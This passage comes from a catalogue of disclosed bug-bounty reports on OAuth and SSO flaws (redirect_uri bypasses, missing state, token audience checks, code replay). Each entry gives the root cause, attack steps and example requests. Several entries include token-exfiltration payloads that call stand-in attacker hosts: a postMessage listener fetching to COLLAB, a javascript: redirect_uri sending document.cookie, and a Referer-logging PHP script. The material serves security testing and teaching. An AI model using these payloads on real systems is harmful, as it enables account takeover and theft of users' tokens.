The OAuth authorization consent screen failed to display a requested scope (manage_runners:org), so a victim who approves the app unknowingly grants more access than shown.
Method
- Register an OAuth app requesting an over-broad/sensitive scope (e.g. manage_runners:org)
- Direct a victim to the authorize URL
- Observe the consent screen does not list that scope, so the victim under-estimates the grant and authorizes
- App now holds the hidden scope's privileges
GET /login/oauth/authorize?client_id=<attacker_app>&scope=manage_runners:org&redirect_uri=<attacker>
# consent screen fails to render the manage_runners:org scope -> victim grants it unknowingly
Insight — Audit OAuth consent screens for scope-display gaps: request each sensitive/newer scope and check it is actually shown before approval. Missing scopes on the consent UI let an app silently acquire privileges the user never saw. (CVE-2026-9106.)
Real-world example
Social login accepts access_token from any app (no app-id check)
◆ Medium
Specimen #101977 · imgur · none · 76 votes · resolved
Program imgurSurface apiTag oauthTag account-takeover
Root cause
The Facebook-login endpoint exchanges any valid Facebook access_token for an Imgur session without verifying the token was issued to Imgur's app id; an attacker's own FB app can obtain a victim's token and log in as them.
Method
- Build your own Facebook app
- Get the victim's FB access_token via your app
- POST it to imgur's /generatetoken/thirdpartynativeandroid?type=facebook as access_token
- Imgur logs you in as the victim (fix: check token app id == 127621437303857)
POST https://api.imgur.com/generatetoken/thirdpartynativeandroid?type=facebook
access_token=<token_issued_to_attacker_FB_app>
Insight — Provider access_token != identity proof. If a site accepts a raw FB/Google access_token, verify it validates the token's audience/app-id (debug_token). Otherwise a token from a different app is accepted = ATO. Classic 'confused deputy'.
Real-world example
Wildcard OAuth redirect_uri leaks SSO token
◆ Medium
Specimen #151058 · shopify · awarded · 71 votes · resolved
Program shopifySurface webChain token leak -> chat as victim + email/name disclosureTag oauthTag account-takeover
Root cause
The livechat SSO flow accepts any *.myshopify.com / *.shopify.com as return_to (redirect_uri); an attacker-controlled shop receives the auth_code in the URL and uses it to log into livechat as the victim and read PII.
Method
- Craft the SSO auth URL with return_to=https://<attacker_shop>.myshopify.com/ and shop=<victim_shop>
- Send to victim; on approval they're redirected to attacker shop with ?auth_code=<token>
- Attacker JS on the shop reads the code from location.search
- Attacker opens livechat.shopify.com/customer/chats/new?auth_code=<token> -> logged in as victim, PII in page source
https://tasker-merchant-auth.herokuapp.com/auth/shopify/?auth_type=chat&return_to=https://ATTACKER.myshopify.com/&shop=VICTIM.myshopify.com
<script>var t=location.search.match(/auth_code=([^&]+)/);exfil(t[1])</script>
Insight — Whenever redirect_uri/return_to validation is a wildcard subdomain match and the subdomain is attacker-controllable (myshopify.com shops, tenant subdomains), the token is deliverable to you. Check redirect_uri host allow-listing precisely.
Real-world example
OAuth redirect_uri whitelist bypass via prefix-only match
◆ Medium
Specimen #405100 · bohemia · none · 44 votes · resolved
Program bohemiaSurface webChain redirect_uri bypass -> steal authorization code -> accTag oauthTag account-takeover
Root cause
Authorization server validates redirect_uri by checking only that it starts with the allowed origin, not the full host. Appending characters after the allowed prefix (xbox.dayz.com -> xbox.dayz.comEVIL.com) passes the check and redirects the code+state to an attacker-registrable domain.
Method
- Find the OAuth authorize request and its whitelisted redirect_uri (e.g. https://xbox.dayz.com/...).
- Craft redirect_uri that keeps the prefix but changes the real host: https://xbox.dayz.comtest.com/api/auth/callback.
- Register that domain; when a logged-in victim opens the authorize URL, the code+state land on your host -> exchange for tokens/ATO.
GET /api/auth?response_type=code&redirect_uri=http%3A%2F%2Fxbox.dayz.comtest.com%2Fapi%2Fauth%2Fcallback&state=STATE&client_id=CLIENT HTTP/1.1
Host: accounts.bistudio.com
Insight — Test redirect_uri validators with: suffix append (allowed.com.evil.com), path append, subdomain (allowed.evil.com), @ trick, encoded chars, and open-redirect chaining. Prefix/startswith matching is the classic broken check.
Real-world example
OAuth2 authorization-code replay + wrong expiry column
◆ Medium
Specimen #3734676 · mozilla · USD 2000 · 32 votes · resolved
Program mozillaSurface apiChain Leaked auth code -> replay token exchange -> bridge toTag oauthTag account-takeover
Root cause
The token-exchange handler never consumed (deleted) the authorization_codes row and checked entry.client_details.expires (the credential lifetime, up to 1 year) instead of the code row's entry.expires (10 min), so a captured code could be replayed for hours to mint fresh bridge tokens.
Method
- Capture an authorization code (redirect-page logs, referer, TLS-inspecting proxy, browser history)
- POST /login/oauth/token with the code -> token A (200)
- Replay the same code -> token B (200), proving single-use is not enforced
- Call GET /login/oauth/credentials with the bridge token to mint Taskcluster credentials in the victim's identity
POST /login/oauth/token {code, redirect_uri} # replayable, code never deleted
GET /login/oauth/credentials Authorization: Bearer <bridge token>
Insight — Verify OAuth codes are single-use (replay the same code twice) and that the expiry check reads the code's own lifetime column, not the resulting credential's. Atomic DELETE...RETURNING WHERE expires>now() is the correct gate.
Real-world example
OAuth access-token theft via loose redirect_uri
◆ Medium
Specimen #140432 · gratipay · USD 10 · 17 votes · resolved
Program gratipaySurface webTag oauthTag account-takeover
Root cause
The Facebook OAuth client accepts any same-site redirect_uri (no fixed /callback allowlist); pointing it at an attacker-controlled user profile page leaks the token/code via Referer and third-party image loads.
Method
- Craft an authorize URL with redirect_uri set to your own profile page (e.g. https://site/~attacker/)
- Victim who follows it lands on your page with token/code in URL
- Token leaks outbound via Referer header and off-site img src on that page
https://www.facebook.com/dialog/oauth?response_type=code&client_id=<ID>&redirect_uri=https://gratipay.com/~attacker/&scope=email&state=...
Insight — If redirect_uri isn't pinned to a dedicated path, any page you control on the same origin becomes an exfiltration point; hunt for user-content pages that echo the URL or load external resources.
Real-world example
OAuth grant_access hashes with no expiry or account-state binding enable 2FA replay
◆ Medium
Specimen #316078 · vkcom · USD 300 · 11 votes · resolved
Program vkcomSurface webChain One-time session access -> capture grant hash -> persiTag oauthTag account-takeover
Root cause
The hashes used on login.vk.com/?act=grant_access had no expiration and were not bound to meaningful account state (whether 2FA is enabled, when sessions were last reset). Having accessed the account once, an attacker could reuse a captured grant hash later to obtain an access_token and bypass 2FA.
Method
- Capture the grant_access hash while having access to the victim session once
- Later, replay the hash against login.vk.com/?act=grant_access
- Because it never expired and is not invalidated by 2FA enablement or session reset, it still yields access_token / bypasses 2FA
https://login.vk.com/?act=grant_access&...&hash=<captured, non-expiring hash>
Insight — Audit any authorization/grant hash or token for two properties: expiry, and invalidation on security-relevant state changes (2FA toggled, password reset, sessions revoked). A grant artifact that survives those events becomes a permanent bypass of the very controls the user enabled afterward.
Real-world example
OAuth token/code theft via open redirect on a trusted OAuth server
◆ Medium
Specimen #3930 · phabricator · awarded · 10 votes · resolved
Program phabricatorSurface webChain provider authorize (response_type=token) -> whitelisted RTag oauthTag account-takeover
Root cause
The provider (Facebook/Disqus/Twitter) redirects the access_token/code to a redirect_uri on a trusted relying party. Because that relying party's own oauthserver/auth (or an attacker-set custom domain / requestTokenAndRedirect) is an open redirect, the token is bounced onward to the attacker host - all in one click.
Method
- Find an open redirect on a domain that is a whitelisted redirect_uri of an OAuth provider (the RP's oauth callback/redirector).
- Build a provider authorize URL with response_type=token (or code) and redirect_uri set to the RP open-redirect that forwards to your server.
- Victim clicks; provider issues the token to the RP, the RP's redirect bounces it (in URL fragment/query) to the attacker.
https://www.facebook.com/dialog/oauth?client_id=CID&response_type=token&redirect_uri=https://secure.phabricator.com/oauthserver/auth/?redirect_uri=http://attacker.com%26response_type=code%26client_id=RP_CID%26scope=ggg
Insight — An open redirect on a domain that is a registered OAuth redirect_uri is not low severity - it upgrades to full token/code theft (account takeover) because the provider hands the token to that trusted host, which then leaks it onward. Also achievable by setting the RP redirect target to a custom domain you control (3596) or a token+verifier leak on Twitter OAuth (7900).
Real-world example
Browser URL-parsing quirk bypass to exfiltrate OAuth access_token (IE/Edge)
◆ Medium
Specimen #99435 · bumble · awarded · 9 votes · resolved
Program bumbleSurface webChain FB authorize (response_type=token) -> host-check bypass vTag oauthTag account-takeover
Root cause
The redirector accepts a base64 state URL and blocks obvious external hosts, but IE 11/Edge parse http://google.com%2f.badoo.com/ as host badoo.com (path google.com), so the server-side host check passes while the browser navigates elsewhere. Because Facebook forwards the access_token to redirect_uri even with a query string, the token leaks to the attacker-parsed host.
Method
- Base64-encode a URL of the form http://ATTACKER%2f.TRUSTED.com/ into the state param.
- Load the FB authorize URL with redirect_uri pointing at the trusted redirector carrying that state.
- In IE/Edge the victim lands on ATTACKER with #access_token=... in the fragment.
https://www.facebook.com/v2.2/dialog/oauth?response_type=token&display=popup&client_id=CID&redirect_uri=https%3A%2F%2Fbadoo.com%2Fexternal%2Fredirector.phtml%3fstate%3d<base64 of http://www.google.com%2f.badoo.com/>
# lands: https://www.google.com/.badoo.com/#access_token=...
Insight — Host-allowlist checks that assume one canonical parse are bypassable with browser-specific URL quirks (%2f, backslashes, userinfo). Combine an OAuth flow that forwards tokens with such a quirk to turn a filtered redirect into token theft. Test target browsers explicitly - this only fired on IE11/Edge.
Real-world example
OAuth login CSRF / session fixation via reusable, session-unbound oauth_token
◆ Medium
Specimen #46485 · x · USD 1260 · 7 votes · resolved
Program xSurface webChain unbound oauth_token -> victim authorization -> attackeTag oauthTag account-takeover
Root cause
The OAuth request token in the /oauth/authenticate URL was not bound to the browser session that initiated it, so a token authorized by one account could be consumed by a different browser to complete login as that account.
Method
- Attacker starts 'Sign in with Twitter' on a relying-party site and captures the oauth_token authorize URL
- Attacker gets the victim (or a controlled second account) to authorize that exact oauth_token
- Attacker's original browser refreshes/continues the flow and is now logged into the relying party as the authorizing account
https://api.twitter.com/oauth/authenticate?oauth_token=ATTACKER_INITIATED_TOKEN
# authorized in victim's browser, then completed in attacker's browser
Insight — In OAuth/SSO flows, test whether the request token / state is bound to the initiating session and single-use. If the same authorize URL works across browsers, you have login CSRF / session fixation. Always check for a per-session, single-use state/nonce.
Real-world example
OAuth token theft via postMessage wildcard target origin
◆ Medium
Specimen #92472 · bumble · awarded · 7 votes · resolved
Program bumbleSurface webChain postMessage '*' token leak -> stolen provider access_tokeTag oauthTag account-takeover
Root cause
An OAuth callback page reads access_token/token/code from its URL and forwards them to window.opener via postMessage(message,'*'); the '*' target origin means any page that opened the popup, including an attacker origin, receives the token.
Method
- Find the OAuth relay/callback page (e.g. cb.html) that does window.opener.postMessage(tokenData,'*').
- From an attacker page, window.open() the social-login flow so your page is the opener.
- Add a message listener; when the victim completes login the token is delivered to your origin.
- Replay the stolen provider token against the target app's login to access the victim account.
// attacker opener.html
window.addEventListener('message', e => {
fetch('https://COLLAB/steal?t=' + encodeURIComponent(JSON.stringify(e.data)));
});
window.open('https://mus1.badoo.com/cb.html', '_blank');
Insight — Grep OAuth/SSO relay pages for postMessage(...,'*'). A wildcard target origin turns any token relay into a cross-origin token leak. The fix is to pin the exact origin; the attack is to become window.opener and listen.
Real-world example
OAuth callback URL validated only client-side
◆ Medium
Specimen #279935 · inflection · awarded · 6 votes · resolved
Program inflectionSurface webTag oauthTag account-takeover
Root cause
Application-registration form validates the OAuth callback/redirect URL only in JavaScript; the backend has no server-side validation, so an intercepting proxy can register a malicious callback.
Method
- Start creating an OAuth application/identity and enter a malicious callback URL.
- JS blocks form submission; intercept the request in a proxy and forward it anyway.
- Backend accepts the arbitrary callback -> tokens/codes can be redirected to attacker.
POST /identity/applications HTTP/1.1
name=evil&callback_url=https://attacker.com/collect # JS-only check bypassed via proxy
Insight — Whenever a field is 'validated' in the browser (redirect_uri, webhook URL, avatar URL, email), resend it via proxy with a hostile value. Client-only redirect_uri validation is a classic route to open redirect / OAuth token theft.
Real-world example
OAuth state (CSRF token) is static/reusable -> account-connection CSRF
◆ Medium
Specimen #55911 · shopify · 500 · 4 votes · resolved
Program shopifySurface webChain static OAuth state -> connection CSRF -> attacker FaceTag oauthTag account-takeover
Root cause
The OAuth 'state' parameter used to bind the 'Connect with Facebook' callback to the user is fixed and does not change across authorizations, so an attacker who knows it can forge the callback URL and connect the attacker's Facebook account to the victim's Shopify account.
Method
- Start the 'Connect with Facebook' flow and capture the OAuth request; note the state value
- Re-run the flow and confirm state does NOT rotate (same value every time)
- Authorize with the ATTACKER's Facebook to obtain an attacker code
- Craft a callback link /authenticated?code=ATTACKER_CODE&state=STATIC_STATE and trick the logged-in victim into loading it
- Victim's account is now linked to the attacker's Facebook (attacker can log in as victim)
<a href="https://facebookstore.shopifyapps.com/authenticated?code=[ATTACKER_TOKEN]&state=c2f449f2df5ee64df6173702846bce72e3a57319#_=_">click</a>
Insight — Always verify the OAuth state parameter is unpredictable AND single-use per authorization. If state is constant across requests (or omitted/not validated), the callback is CSRFable: authorize with your own IdP account and force the victim to complete YOUR callback, linking your identity to their account - a login/connection CSRF leading to account takeover.
Real-world example
OAuth account-linking CSRF via missing state parameter
◆ Medium
Specimen #104931 · shopify · awarded · 2 votes · resolved
Program shopifySurface webChain missing state -> replay attacker callback in victim sessiTag oauthTag account-takeover
Root cause
The OAuth connect/callback flow does not use (or validate) the state parameter, so an attacker can pre-authorize with their own provider account, capture the callback URL, and get the victim to load it -- binding the attacker's third-party account to the victim's account (or replacing the victim's existing linked account).
Method
- As attacker, start 'connect provider' (Pinterest) on the target and authorize with the attacker's provider account.
- Intercept and drop the redirect back to the app; save the callback URL containing the attacker's code (e.g. /auth/pinterest/callback?code=...).
- Lure the logged-in victim to load that callback URL.
- The attacker's provider account is now linked to the victim's app account, even overwriting a previously connected account.
https://pinterest-commerce.shopifyapps.com/auth/pinterest/callback?code=<attacker_code>
Insight — Any social/account-linking OAuth callback with no state (or state not tied to the victim's session) is CSRF-able. Test by completing the attacker-side authorization, dropping the final redirect, and replaying the callback URL in the victim's session. Impact: attacker-controlled linked account -> later login/data access. Fix is a per-session, validated state value.
Real-world example
Login CSRF via OAuth with unvalidated state (victim logged into attacker account)
◆ Medium
Specimen #118737 · thisdata · none · 2 votes · resolved
Program thisdataSurface webChain unvalidated OAuth state -> victim logged into attacker acTag oauthTag account-takeover
Root cause
The OAuth login callback does not validate the state parameter, so an attacker can complete their own OAuth authorization, capture code+state, and feed the victim /oauth/redirect?state=...&code=..., silently logging the victim into the attacker's account.
Method
- Attacker initiates Google OAuth login with the app and authorizes with the attacker's Google account.
- Attacker records and drops the redirect to the app so the code is not consumed.
- Attacker directs the victim to /oauth/redirect?state=<attacker_state>&code=<attacker_code>.
- Victim is now authenticated as the attacker; anything the victim saves (payment info, notes, address) lands in the attacker-controlled account.
https://TARGET/oauth/redirect?state=<attacker_state>&code=<attacker_code>
Insight — Login CSRF and account-linking CSRF share one root cause: an OAuth flow whose state is missing or not bound to the victim's session. For login CSRF specifically, confirm impact by logging the victim into an attacker account and showing the victim's later actions are attributed to the attacker. Plain form-based login CSRF (no token on the login POST) is the simpler cousin.
Real-world example
OAuth consent screen misrepresents actual granted scopes
◆ Medium
Specimen #434763 · x · 2940 · 80 votes · resolved
Program xSurface webTag oauthTag account-takeover
Root cause
For certain first-party client keys / PIN (out-of-band) OAuth flows, the consent dialog rendered scopes that did not match the tokens' real capabilities, so an app the screen claimed could NOT read DMs could in fact read them.
Method
- Use leaked/official first-party client keys via a non-standard flow (PIN/xAuth)
- Observe the consent screen understates permissions (e.g. 'cannot access direct messages')
- Complete authorization and exercise the API to confirm the token actually has the broader scope
Insight — Never trust the consent UI as ground truth for granted scope. Diff what the screen claims against what the issued token can actually do (call privileged endpoints). Legacy/first-party keys and non-standard flows (PIN/device/xAuth) commonly desync the displayed scope.
Real-world example
OIDC token issuer (iss) not validated against discovery issuer
◆ Medium
Specimen #2021684 · nextcloud · awarded · 1 votes · resolved
Program nextcloudSurface webChain missing iss validation -> token substitution / MITM ->Tag oauth
Root cause
The OIDC login flow does not verify that the iss claim of the obtained ID token matches the issuer discovered during provider configuration, so a token from a different/attacker issuer can be accepted (ID Token Validation step 2 of the OIDC spec is skipped).
Method
- Review an OIDC/OpenID Connect relying-party implementation's token validation.
- Check whether it verifies iss (and aud, exp, nonce) against the discovered provider metadata.
- If iss is unchecked, a MITM or a token minted by another IdP can be substituted and accepted as a valid login.
Insight — When auditing OIDC/OAuth relying parties, enumerate the ID-token checks: iss must equal the discovery issuer, aud must contain the client_id, plus exp/nonce/signature. A missing iss check is a token-substitution/MITM auth flaw even when aud is validated. Grep for the discovery issuer being compared to the token's iss.
Real-world example
Second-order XSS via javascript: OAuth redirect_uri -> ATO
◆ Low
Specimen #3316910 · cloudflare · awarded · 50 votes · resolved
Program cloudflareSurface webChain malicious client registration -> stored javascript: redirTag oauthTag account-takeover
Root cause
The MCP server portal OAuth provider stored redirect_uri without sanitizing the scheme; an attacker registers a client whose redirect_uri is a javascript: URL, then triggers /authorize with a victim session so the stored javascript: URI executes.
Method
- Register/obtain a client_id whose redirect_uri contains a javascript: payload
- Lure a victim with an active auth session to the /authorize endpoint for that client
- Stored javascript: redirect executes in the portal origin -> session/account takeover
# redirect_uri registered as e.g.:
javascript:fetch('https://COLLAB/?c='+document.cookie)
Insight — On OAuth/MCP flows, test whether redirect_uri scheme is validated at registration AND at redirect time. A stored javascript: redirect_uri is a second-order XSS sink; reuse it against an authenticated victim on /authorize.
Real-world example
OAuth2 authorization_code with no expiry (indefinite redemption)
◆ Low
Specimen #1784162 · nextcloud · 100 · 45 votes · resolved
Program nextcloudSurface webChain code leak (referrer/log/open-redirect) -> late redemptionTag oauth
Root cause
The OAuth2 authorization endpoint stored the authorization_code with no timeout, contrary to RFC 6749 (recommended <=10 min, single-use). A code leaked via logs/referrer/history can be redeemed arbitrarily far in the future.
Method
- Obtain an authorization_code from the OAuth flow
- Wait well beyond the RFC-recommended 10 minutes
- Exchange it at the token endpoint — it still succeeds
POST /token
grant_type=authorization_code&code=<old_code>&redirect_uri=...&client_id=...
Insight — Always test OAuth authorization_code lifetime and single-use: (1) redeem after a long delay, (2) redeem the same code twice. Non-expiring or replayable codes turn any code leak (referrer header, logs, open redirect on redirect_uri) into account access.
Real-world example
OAuth code leak via unrestricted redirect_uri path + Referer exfiltration
◆ Low
Specimen #292783 · ed · none · 43 votes · resolved
Program edSurface webChain redirect_uri path abuse -> unconsumed code -> Referer Tag oauthTag open-redirect
Root cause
redirect_uri validation whitelists the whole domain but not the path, so the code can be delivered to any page. Routing it to a page WITHOUT the code-consuming widget prevents the code from being exchanged/stripped, leaving it live in the URL to leak via the Referer header on outbound links.
Method
- Confirm the app strips/exchanges code only on specific pages (the comment-widget page).
- Set redirect_uri to an arbitrary same-domain path (/about/, /metadata) that has no widget, so code survives.
- That page contains external links (twitter, youtube, press sites); user interaction leaks the still-valid code to those hosts via Referer.
https://github.com/login?client_id=CLIENT&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DCLIENT%26redirect_uri%3Dhttps%253A%252F%252Fedoverflow.com%252Fabout%252f%26scope%3Dpublic_repo
Insight — Even when redirect_uri host is locked, path freedom is exploitable: pick a landing page that does NOT consume the code, then harvest it via Referer to any external resource/link on that page.
Real-world example
OAuth code interception via duplicate mobile URL scheme (no PKCE)
◆ Low
Specimen #1700734 · shopify · USD 900 · 29 votes · resolved
Program shopifySurface mobile-androidChain scheme hijack -> intercept auth code -> token exchangeTag oauthTag account-takeover
Root cause
A mobile OAuth flow returns the authorization code to a custom URL scheme (shopapp://) without PKCE; a malicious app registering the same scheme intercepts the code and exchanges it for a token (or links the victim account to the attacker).
Method
- Build a malicious app that registers the same custom scheme as the target app
- Victim completes the legit OAuth login; OS routes the redirect to the malicious app (iOS first-come-first-served; Android shows a chooser)
- Malicious app receives the authorization code and exchanges it at the token endpoint for account access
# Malicious AndroidManifest intent-filter claiming the victim scheme:
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="shopapp"/>
</intent-filter>
Insight — When testing mobile OAuth, check whether the redirect uses a custom scheme/deep link and whether PKCE (code_challenge/code_verifier) is present. Custom-scheme redirect + no PKCE = interceptable authorization code. Prefer claimed https App Links and require PKCE.
Real-world example
OAuth authorize error path redirects to attacker redirect_uri (invalid scope)
◆ Low
Specimen #972601 · pixiv · USD 200 · 29 votes · resolved
Program pixivSurface webChain open redirect on OAuth authorize -> potential code/token Tag oauth
Root cause
On the OAuth authorize endpoint, supplying an invalid scope triggers an error redirect that honors the attacker-supplied redirect_uri without allowlist validation, redirecting the user to an arbitrary domain.
Method
- Call /oauth/authorize with a valid client_id but a bogus scope value.
- Set redirect_uri to an attacker domain.
- The error path redirects to the attacker redirect_uri.
https://oauth.secure.pixiv.net/v2/auth/authorize?client_id=VALID&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&response_type=code&scope=ggg&state=...
Insight — redirect_uri allowlisting is often only enforced on the happy path. Trigger error branches (invalid scope, response_type, missing param) to see if the app still redirects to an unvalidated redirect_uri.
Real-world example
Google id_token accepted without audience validation
◆ Low
Specimen #202177 · instacart · awarded · 15 votes · resolved
Program instacartSurface apiTag oauthTag account-takeover
Root cause
Backend accepts a Google-issued id_token without verifying the token's aud (audience/client_id) belongs to this app, so an id_token minted for any other Google OAuth app is accepted.
Method
- Log into an unrelated app (e.g. Meetup) via Google Sign-In and capture its id_token
- POST that id_token to the target's Google login endpoint
- Backend accepts it and logs you in / links the account
POST /api/v2/users/google_login_auth
access_token=...&client_id=...&id_token=<GOOGLE_ID_TOKEN_FROM_ANOTHER_APP>&login_only=...&read_terms=...
Insight — For any 'Sign in with Google/Apple/Facebook' backend, test whether an id_token issued to a DIFFERENT client_id is accepted. Server must verify signature AND that aud == its own client_id (and iss). Missing aud check = cross-app token replay -> ATO.
Real-world example
OAuth token leak via unvalidated next= open redirect
◆ Low
Specimen #244958 · wakatime · none · 9 votes · resolved
Program wakatimeSurface webChain open redirect -> OAuth token leak -> account accessTag oauthTag account-takeover
Root cause
The OAuth authorize endpoint honours an attacker-controlled next/redirect parameter without whitelisting; changing it sends the flow (and the OAuth token in the URL) to an attacker-chosen destination.
Method
- Take a legitimate OAuth authorize URL with next=/some/legit/path
- Change next= to an attacker-controlled path/profile
- Complete the flow; the OAuth token is appended to the redirected URL and leaked
https://TARGET/oauth/twitter/authorize?reason=tweet&next=/@ATTACKER_CONTROLLED
Insight — Any redirect-back parameter in an OAuth/SSO flow (next, return, redirect_uri, state-as-url) must be validated against a strict allowlist; otherwise it doubles as a token/code exfiltration channel. Classic open-redirect-in-auth pattern (cf. #140432).
Real-world example
Internal 'Login with Google' accepts any Google account (no hosted-domain restriction)
◆ Low
Specimen #194832 · shopify · awarded · 12 votes · resolved
Program shopifySurface webTag oauthTag account-takeover
Root cause
An internal/VPN app authenticated via Google OAuth but did not restrict the accepted accounts to the corporate G Suite domain, so any personal Google account could log in. A prior fix on a sibling host had not been applied to this subdomain.
Method
- Find an internal service offering 'Sign in with Google'
- Authenticate with an arbitrary non-corporate Google account
- Observe access granted because the hosted-domain (hd) / email-domain is not verified server-side
Insight — Whenever an internal tool uses Google/Workspace SSO, check whether it enforces the hd claim / verifies the email domain after the OAuth callback. Missing domain enforcement = anyone with a Google account gets in. Also re-test sibling subdomains: fixes are often applied host-by-host and one is forgotten.
Real-world example
Login via disconnected/old OAuth identity
◆ Low
Specimen #223427 · weblate · none · 6 votes · resolved
Program weblateSurface webTag oauthTag account-takeover
Root cause
After a user disconnected a linked Google account (e.g. because the Google account was compromised) and changed their email, the app still allowed authentication via that old, disconnected Google identity.
Method
- Victim links Google login, then disconnects it and changes primary email
- Attacker who controls the old Google account clicks 'Login with Google'
- Attacker is logged into the victim's app account via the stale association
Insight — Test whether 'disconnect social login' actually severs the auth binding. Stale OAuth identity mappings that survive disconnection let a previously-authorized identity re-enter.
Real-world example
Limited-scope staff bypasses OAuth app-install scope enforcement
◆ Low
Specimen #134757 · shopify · awarded · 3 votes · resolved
Program shopifySurface webTag oauth
Root cause
A staff member whose account lacks a permission (e.g. read_orders) is blocked with an OAuth scope error, yet can still complete installation of an app requesting that scope, effectively acquiring access beyond their granted permissions.
Method
- As a limited staff member, begin installing an app that requests a scope you lack (read_orders)
- Observe the 'do not have permission to access the requested scopes' error
- Complete the install flow anyway; the app installs with the elevated scope
Insight — OAuth/app-install scope checks are a privilege boundary: verify the enforcement is not just a front-end error. A limited role that can still finalize an install with broader scopes escalates its effective permissions via the app's token.
Real-world example
OAuth callback_url host-validation bypass via non-ASCII authority char
◆ Info
Specimen #108113 · x · awarded · 48 votes · resolved
Program xSurface webChain callback validation bypass -> OAuth credential to attackeTag oauthTag account-takeover
Root cause
Validator parses callback_url and matches only the hostname (so https://x@registered.tld passes), but when the URL is later written to the Location header a non-ASCII byte is converted to ? AFTER validation, turning the attacker host into the real authority.
Method
- Confirm host-only validation allows userinfo: callback_url=https://anything@registered.tld
- Insert a non-ASCII byte after the attacker host in the authority: attacker.com%ff@registered.tld
- On output %ff -> ? so URL becomes attacker.com?...@registered.tld: attacker.com is now the host, receives victim OAuth credentials
https://www.digits.com/login?consumer_key=KEY&host=https%3A%2F%2Fwww.digits.com&callback_url=https://innerht.ml%FF@www.periscope.tv
Insight — Parser-vs-serializer differential: validate on a normalized parse, exploit on the raw output. Try non-ASCII / control bytes (%ff, %00, %0d, %E3%80%82) in the authority when a host allowlist is enforced but the value is later reflected into a header/redirect. Same root class powered GHES OAuth redirect_uri regex bypass (CVE-2026-4296).
Real-world example
Google OAuth SSO accepts any Google account (hd hosted-domain not validated)
◆ Info
Specimen #143482 · shopify · awarded · 42 votes · resolved
Program shopifySurface webTag oauth
Root cause
An internal app gated by 'Sign in with Google' assumed Google login implies a company account, but never validated the hd (hosted domain) claim. Any Google account (personal gmail included) satisfied the check, granting outsiders access to the employee-only monitoring server.
Method
- Find an internal/staff tool using Google OAuth as the only gate.
- Log in with an arbitrary personal Google account.
- If access is granted, the app is not enforcing hd == company-domain.
# The fix is to require the hosted-domain claim, e.g. append &hd=company.com to the auth request
# AND server-side verify id_token.hd == "shopify.com" (and email_verified) before granting access.
Insight — 'Sign in with Google/Microsoft' on internal apps is only as strong as its domain check. Always test with an external/personal account; if it works, the app trusts 'a valid Google login' rather than 'a valid COMPANY login' (missing hd validation).
Real-world example
Cross-site Flashing via permissive crossdomain.xml steals OAuth token
◆ Info
Specimen #136582 · vimeo · awarded · 32 votes · resolved
Program vimeoSurface webChain Cross-site Flashing read of /oauth/authorize -> OAuth tokTag oauthTag account-takeover
Root cause
api.vimeo.com/oauth/crossdomain.xml allows allow-access-from domain='*', and Flash policy files apply to child directories; calling Security.loadPolicyFile on it lets an attacker SWF read /oauth/authorize (which contains the auth token), enabling silent app authorization.
Method
- Attacker SWF calls Security.loadPolicyFile('https://api.vimeo.com/oauth/crossdomain.xml')
- Load https://api.vimeo.com/oauth/authorize cross-domain (now permitted, child dir)
- Read the OAuth token from the response
- Complete the authorization flow -> attacker app added to victim account without consent
Security.loadPolicyFile("https://api.vimeo.com/oauth/crossdomain.xml");
// then read https://api.vimeo.com/oauth/authorize?... to extract the token
Insight — A wildcard crossdomain.xml at a parent directory exposes all child paths to cross-site Flash reads. Sensitive endpoints (OAuth authorize) must live where no permissive policy file sits above them. Move authorize to a path/subdomain with no wildcard policy.
Real-world example
OAuth code theft via stored image URL + Referer leak + loose redirect_uri
◆ Info
Specimen #211477 · shopify · awarded · 26 votes · resolved
Program shopifySurface webChain settable image URL -> login CSRF -> loose redirect_uriTag oauthTag account-takeover
Root cause
Chaining a self-settable product-image URL (SSRF-ish outbound fetch to attacker), a permissive facebook redirect_uri whitelist (www.kitcrm.com/*), and login CSRF causes the FB ?code= landing page to load the attacker image, leaking the code in the Referer header.
Method
- Set your product image URL to attacker log endpoint
- CSRF-login the victim into attacker store then into kitcrm
- Open the FB oauth dialog with redirect_uri to a kitcrm page that renders your image
- Victim lands on ...?code=<fb_code>; the image request carries that URL in Referer to attacker
<img src=https://evil/log.php> // on the code-bearing page
log.php: $t=substr($_SERVER['HTTP_REFERER'],strpos(...,'=')+1);
Insight — Any page that both renders attacker-controlled remote content AND holds a secret in its URL leaks that secret via Referer; combine with loose redirect_uri to route the secret there.
Real-world example
OAuth token leak via lax callback_url + referer/chaining
◆ Info
Specimen #166942 · x · awarded · 13 votes · resolved
Program xSurface webChain lax callback_url -> token in URL on trusted page -> ReTag oauthTag account-takeover
Root cause
The OAuth authorize endpoint validates only the host of callback_url (any subdomain/path of the trusted host accepted). Redirecting to an attacker-influenced path on the trusted host (e.g. a page containing an attacker link) leaks the authorization token via the Referer header, and nested callback_url values leak the token cross-origin.
Method
- Point callback_url at a trusted-host page that renders an attacker-controlled outbound link/resource
- Complete authorization; token lands in URL on the trusted page
- Victim clicks/loads the attacker link; token leaks in Referer
- Alternatively chain two authorize calls so the outer callback is the attacker origin
https://www.digits.com/login?consumer_key=KEY&callback_url=https://fabric.io/<attacker-injected-issue-page>&host=https://fabric.io
# chained:
https://www.digits.com/login?consumer_key=K1&host=http://www.digits.com&callback_url=https%3A%2F%2Fwww.digits.com%2Flogin%3Fconsumer_key%3DK2%26host%3Dhttps%3A%2F%2Fattacker%2F%26callback_url%3Dhttps%3A%2F%2Fattacker%2F
Insight — For OAuth redirect_uri/callback validation, test host-only validation: attacker-controlled subdomain or path on the trusted host, open-content pages that render your link (token leaks via Referer), and recursive callback chaining to bounce the token to your origin. Host allow-listing without full-URL + path pinning is exploitable.
Real-world example
OAuth redirect_uri validation bypass via domain suffix/subdomain
◆ Info
Specimen #2575 · slack · awarded · 10 votes · resolved
Program slackSurface webChain redirect_uri bypass -> OAuth code/token exfiltration ->Tag oauthTag open-redirect
Root cause
The OAuth authorize endpoint validates redirect_uri by loose prefix/substring matching against the registered value (e.g. www.google.com). It accepts www.google.com.mx (suffix) and www.google.com.attacker.com (attacker-controlled parent domain), so the authorization code/token is redirected to an attacker host.
Method
- Register an OAuth app with redirect_uri = http://www.google.com
- Request authorization with redirect_uri = http://www.google.com.attacker.com (or www.google.com.mx)
- Server accepts the suffix/subdomain variant
- Victim's code/token is delivered to the attacker-controlled domain
